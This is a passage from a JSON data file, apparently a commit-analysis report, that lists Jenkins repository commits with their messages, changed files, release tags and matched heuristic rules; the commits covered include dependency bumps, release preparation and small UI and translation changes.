- "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8867", - "relevance": 2 - } - ] - }, - { - "commit_id": "8908239882c07aeb206c7f51aa3e45152ca98e7f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701248540, - "hunks": 3, - "message": "[JENKINS-71737] fix redirect when submitting cloud changes (#8505) Co-authored-by: Alexander Brandes (cherry picked from commit ec27a074c9bc3a7b72e2c6c373d7c5a1ec85ff11)", - "changed_files": [ - "core/src/main/java/hudson/slaves/Cloud.java", - "core/src/main/java/jenkins/agents/CloudSet.java", - "core/src/main/resources/hudson/slaves/Cloud/configure.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8505": "[JENKINS-71737] Fix redirect when submitting cloud changes #8310" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "ec27a074c9bc3a7b72e2c6c373d7c5a1ec85ff11" - ] - ], - "tags": [ - "jenkins-2.426.3", - "jenkins-2.426.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8505", - "relevance": 2 - } - ] - }, - { - "commit_id": "e24627af9a44a203ce0820a9da0150acd6d7475a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711179044, - "hunks": 1, - "message": "Translate description of \"Plain text\" markup formatter to Turkish (#9062)", - "changed_files": [ - "core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_tr.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9062": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9062", - "relevance": 2 - } - ] - }, - { - "commit_id": "67a379e16a05bf87bfcf5d0a22a28d5677b35895", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711178978, - "hunks": 5, - "message": "Update dependency postcss to v8.4.37 (#9057) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9057": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9057", - "relevance": 2 - } - ] - }, - { - "commit_id": "706eda4c88fa06ddf40e5ab54ae90e8819fe672b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711133490, - "hunks": 224, - "message": "Update babel monorepo to v7.24.1 (#9061) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9061": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9061", - "relevance": 2 - } - ] - }, - { - "commit_id": "e0d94d9339401734f2472465a62355e7290444b8", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711037005, - "hunks": 5, - "message": "Update dependency postcss to v8.4.36 (#9055) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9055": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9055", - "relevance": 2 - } - ] - }, - { - "commit_id": "50269cabe440acf27804bc52b0820dbdcc1957d9", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1711036993, - "hunks": 7, - "message": "Remove duplicated words in Javadoc comments (#9056) chore: remove repetitive words Signed-off-by: veryyet ", - "changed_files": [ - "core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java", - "war/src/main/webapp/scripts/yui/dragdrop/dragdrop-debug.js", - "war/src/main/webapp/scripts/yui/editor/editor-debug.js", - "war/src/main/webapp/scripts/yui/editor/simpleeditor-debug.js", - "war/src/main/webapp/scripts/yui/menu/menu-debug.js", - "war/src/main/webapp/scripts/yui/yahoo/yahoo-debug.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9056": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9056", - "relevance": 2 - } - ] - }, - { - "commit_id": "713e4761d9ef99d1aa19981bb72ad2691e9f90a1", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710946224, - "hunks": 11, - "message": "[maven-release-plugin] prepare for next development iteration", - "changed_files": [ - "bom/pom.xml", - "cli/pom.xml", - "core/pom.xml", - "coverage/pom.xml", - "pom.xml", - "test/pom.xml", - "war/pom.xml", - "websocket/jetty10/pom.xml", - "websocket/spi/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "104a66c317e42b072b26437f630af6dc7b249fde" - ], - [ - "no-tag", - "86d39dd23bcd4d38d3bd1b278eb507618e40dc37" - ], - [ - "no-tag", - "bd37089adf185ec69639014e13d99bf6adf0e186" - ], - [ - "no-tag", - "3bea04c75e2509c4be5cd21be782de3657416c61" - ], - [ - "no-tag", - "95bff130c32c5c1fb049792d6419517748658633" - ], - [ - "no-tag", - "09905a09d95026dcd20634ed48e810b209ce46da" - ], - [ - "no-tag", - "f3da1f0638f0a5c7f14e2c7bdf6ffb2a37b30860" - ], - [ - "no-tag", - "5d5ad30cf51661dd609433885205267e0b13005d" - ], - [ - "no-tag", - "1b4affc2018611908eef75d68d46c49cc862edc7" - ], - [ - "no-tag", - "ec5c07252a24578f4ee04a0142de89e9a9e892bc" - ], - [ - "no-tag", - "2ece2ccc9db5295413d1fd7772673ac1aa5bc55f" - ], - [ - "no-tag", - "2bc5292feb0e1832b972dc7e1e75984598c9b67e" - ], - [ - "no-tag", - "92d7c3cd70ace4f99a790a430cccbb04079a64f4" - ], - [ - "no-tag", - "24dd6c2180e0ba9544914a297da8e911ba61b9ba" - ], - [ - "no-tag", - "111b3f28be852584b1a1e9e78a05ba9827012798" - ], - [ - "no-tag", - "2923a7785ea735b0b90a8cfb2cbf67bbf864356e" - ], - [ - "no-tag", - "51b49173120a8c41faffe0acd6637681d3e2325e" - ], - [ - "no-tag", - "19863eb487d6b155ca5bdb5ea41ac765da5976a7" - ], - [ - "no-tag", - "3c8d90569bc4885fb645d6acfc0c11a68616e0f2" - ], - [ - "no-tag", - "d6f5c20409f0c05824b54f937c07c059c6bf5f9e" - ] - ], - "tags": [ - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "3037c91b3e21771fbb855b95083add15c2d283de", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710946203, - "hunks": 10, - "message": "[maven-release-plugin] prepare release jenkins-2.440.2", - "changed_files": [ - "bom/pom.xml", - "cli/pom.xml", - "core/pom.xml", - "coverage/pom.xml", - "pom.xml", - "test/pom.xml", - "war/pom.xml", - "websocket/jetty10/pom.xml", - "websocket/spi/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "6fac92d015be4318ed5d8016c589ad9c9f308a38" - ], - [ - "no-tag", - "9375b5d3012fa5684e7d86e69602923c9890290d" - ], - [ - "no-tag", - "9ed5f66f62ac5b116357d2f58cb37ca3161c5b60" - ], - [ - "no-tag", - "e4ac97f4cfd9b3a0769ac09170b0e25530bed82d" - ], - [ - "no-tag", - "1585bf8798b308cd40057e90d376dcc485d1c1dd" - ], - [ - "no-tag", - "2952e7bcafa07a844a645a59be4297f543fd2cbb" - ], - [ - "no-tag", - "8c5b7ec3e85512ac115e77bfedb6325e272ffbb7" - ], - [ - "no-tag", - "7dc5d1fecc2588a07ad47e3bae294f59f8de6ab8" - ], - [ - "no-tag", - "f1e9bbc410604bd2f82c65df3d92d02826312a84" - ], - [ - "no-tag", - "3eb70099423f93c9de29fca3c6b5b6efd2847ad0" - ], - [ - "no-tag", - "02f2a4cc586630e6637ff9bc4e0eb611a79efb05" - ], - [ - "no-tag", - "018bd8e4d9bf36e3267a2b84548e0bc7b1c42999" - ], - [ - "no-tag", - "660d6f63a4d7952d3bd72a74f557f209cc6c15f3" - ], - [ - "no-tag", - "245cf73b0fb311d86116ad4e3211b74b0e02426d" - ], - [ - "no-tag", - "4947fe6aad6702225f22f18f8a1a23200e4fd364" - ], - [ - "no-tag", - "4e424abc285fcff4d81415b97f854c533a1ff89f" - ], - [ - "no-tag", - "49c305dfb7a07b54eff2baee5b8c87c1b6278303" - ], - [ - "no-tag", - "10b1b883319ff21bfe742bd0abe225dd12f10c2b" - ], - [ - "no-tag", - "3b0de10df3bedba515e13032104d4d84f83045be" - ], - [ - "no-tag", - "3555f365dfa39160e5f776d9a20a9b36aa8798f3" - ] - ], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "d09ae8c7bb90a75ade3296e5dad3ba37ab0cb4c3", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710798262, - "hunks": 1, - "message": "Bump com.puppycrawl.tools:checkstyle from 10.14.1 to 10.14.2 (#9048) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.14.1 to 10.14.2. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.14.1...checkstyle-10.14.2) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9048": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9048", - "relevance": 2 - } - ] - }, - { - "commit_id": "db52842ca3568fa6781ca6d28c00e26bfbcf7865", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710788427, - "hunks": 4, - "message": "Update dependency sass to v1.72.0 (#9046) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9046": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9046", - "relevance": 2 - } - ] - }, - { - "commit_id": "9f790a3142c76a33f1dbd8409715b867a53836c8", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710781557, - "hunks": 1, - "message": "Bump org.awaitility:awaitility from 4.2.0 to 4.2.1 (#9043) Bumps [org.awaitility:awaitility](https://github.com/awaitility/awaitility) from 4.2.0 to 4.2.1. - [Changelog](https://github.com/awaitility/awaitility/blob/master/changelog.txt) - [Commits](https://github.com/awaitility/awaitility/compare/awaitility-4.2.0...awaitility-4.2.1) --- updated-dependencies: - dependency-name: org.awaitility:awaitility dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9043": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9043", - "relevance": 2 - } - ] - }, - { - "commit_id": "c0f27461fc9c367ad73dafcce3e07ca26ca22523", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710773959, - "hunks": 14, - "message": "`QueueIdStrategy` (#9020)", - "changed_files": [ - "core/src/main/java/hudson/model/Queue.java", - "core/src/main/java/jenkins/model/queue/QueueIdStrategy.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9020": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9020", - "relevance": 2 - } - ] - }, - { - "commit_id": "229724953b8430fe344bd78e2926727178e0247e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710773945, - "hunks": 8, - "message": "[JENKINS-69191] new icon for agent not accepting tasks and computer icon legend (#8823) * [JENKINS-69191] icon for agent not accepting tasks This change adds another icon for the case when an agent is not accepting tasks, e.g. because the retention strategy avoids this. The makes it easier to decide whether an agent is in a non healthy state. A legend button is added below the computer overview table that shows an explanation for the icons. * fix style", - "changed_files": [ - "core/src/main/java/hudson/model/Computer.java", - "core/src/main/resources/hudson/model/ComputerSet/_legend.jelly", - "core/src/main/resources/hudson/model/ComputerSet/_legend.properties", - "core/src/main/resources/hudson/model/ComputerSet/index.jelly", - "war/src/main/js/pages/computer-set/index.js", - "war/src/main/resources/images/symbols/computer-not-accepting.svg", - "war/webpack.config.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8823": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8823", - "relevance": 2 - } - ] - }, - { - "commit_id": "730c59fe4d1d49af681df32e49eac72a629ce0c4", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710448570, - "hunks": 60, - "message": "Add components for dropdown items (#8827) * Init * Update taglib * Add docs * Add additional docs * Update header.jelly * Remove translations * Linting * Update utils.js * Add clazz * Update templates.js * Address comments * Fix failing tests due to JS change * Update templates.js * Fix properties not being set correctly * XML escape clazz, URL and ID --------- Co-authored-by: Mark Waite ", - "changed_files": [ - "core/src/main/resources/hudson/PluginManager/available.jelly", - "core/src/main/resources/hudson/logging/LogRecorder/index.jelly", - "core/src/main/resources/hudson/logging/LogRecorderManager/feeds.jelly", - "core/src/main/resources/lib/hudson/rssBar.jelly", - "core/src/main/resources/lib/hudson/rssBar.properties", - "core/src/main/resources/lib/hudson/rssBar_bg.properties", - "core/src/main/resources/lib/hudson/rssBar_ca.properties", - "core/src/main/resources/lib/hudson/rssBar_cs.properties", - "core/src/main/resources/lib/hudson/rssBar_da.properties", - "core/src/main/resources/lib/hudson/rssBar_de.properties", - "core/src/main/resources/lib/hudson/rssBar_el.properties", - "core/src/main/resources/lib/hudson/rssBar_es.properties", - "core/src/main/resources/lib/hudson/rssBar_es_AR.properties", - "core/src/main/resources/lib/hudson/rssBar_et.properties", - "core/src/main/resources/lib/hudson/rssBar_fi.properties", - "core/src/main/resources/lib/hudson/rssBar_fr.properties", - "core/src/main/resources/lib/hudson/rssBar_he.properties", - "core/src/main/resources/lib/hudson/rssBar_hu.properties", - "core/src/main/resources/lib/hudson/rssBar_it.properties", - "core/src/main/resources/lib/hudson/rssBar_ja.properties", - "core/src/main/resources/lib/hudson/rssBar_ko.properties", - "core/src/main/resources/lib/hudson/rssBar_lt.properties", - "core/src/main/resources/lib/hudson/rssBar_lv.properties", - "core/src/main/resources/lib/hudson/rssBar_nb_NO.properties", - "core/src/main/resources/lib/hudson/rssBar_nl.properties", - "core/src/main/resources/lib/hudson/rssBar_pl.properties", - "core/src/main/resources/lib/hudson/rssBar_pt_BR.properties", - "core/src/main/resources/lib/hudson/rssBar_pt_PT.properties", - "core/src/main/resources/lib/hudson/rssBar_ro.properties", - "core/src/main/resources/lib/hudson/rssBar_ru.properties", - "core/src/main/resources/lib/hudson/rssBar_sk.properties", - "core/src/main/resources/lib/hudson/rssBar_sl.properties", - "core/src/main/resources/lib/hudson/rssBar_sr.properties", - "core/src/main/resources/lib/hudson/rssBar_sv_SE.properties", - "core/src/main/resources/lib/hudson/rssBar_tr.properties", - "core/src/main/resources/lib/hudson/rssBar_uk.properties", - "core/src/main/resources/lib/hudson/rssBar_zh_TW.properties", - "core/src/main/resources/lib/layout/dropdowns/custom.jelly", - "core/src/main/resources/lib/layout/dropdowns/header.jelly", - "core/src/main/resources/lib/layout/dropdowns/item.jelly", - "core/src/main/resources/lib/layout/dropdowns/separator.jelly", - "core/src/main/resources/lib/layout/dropdowns/submenu.jelly", - "core/src/main/resources/lib/layout/dropdowns/taglib", - "core/src/main/resources/lib/layout/layout.jelly", - "core/src/main/resources/lib/layout/overflowButton.jelly", - "war/src/main/js/components/dropdowns/overflow-button.js", - "war/src/main/js/components/dropdowns/templates.js", - "war/src/main/js/components/dropdowns/utils.js", - "war/src/main/js/pages/dashboard/index.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8827": "Add 'Dropdowns' page jenkinsci/design-library-plugin#311" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8827", - "relevance": 2 - } - ] - }, - { - "commit_id": "471bf225f489c0cfdde3af6378cc4f05f099e10a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710448476, - "hunks": 6, - "message": "Remove unnecessary `` entries (#9037)", - "changed_files": [ - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9037": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9037", - "relevance": 2 - } - ] - }, - { - "commit_id": "5bc99ad8b7aac3a42a58de8f63075f04a16eedab", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710448457, - "hunks": 1, - "message": "Improve description of \"Plain text\" markup formatter (#9039) Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9039": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9039", - 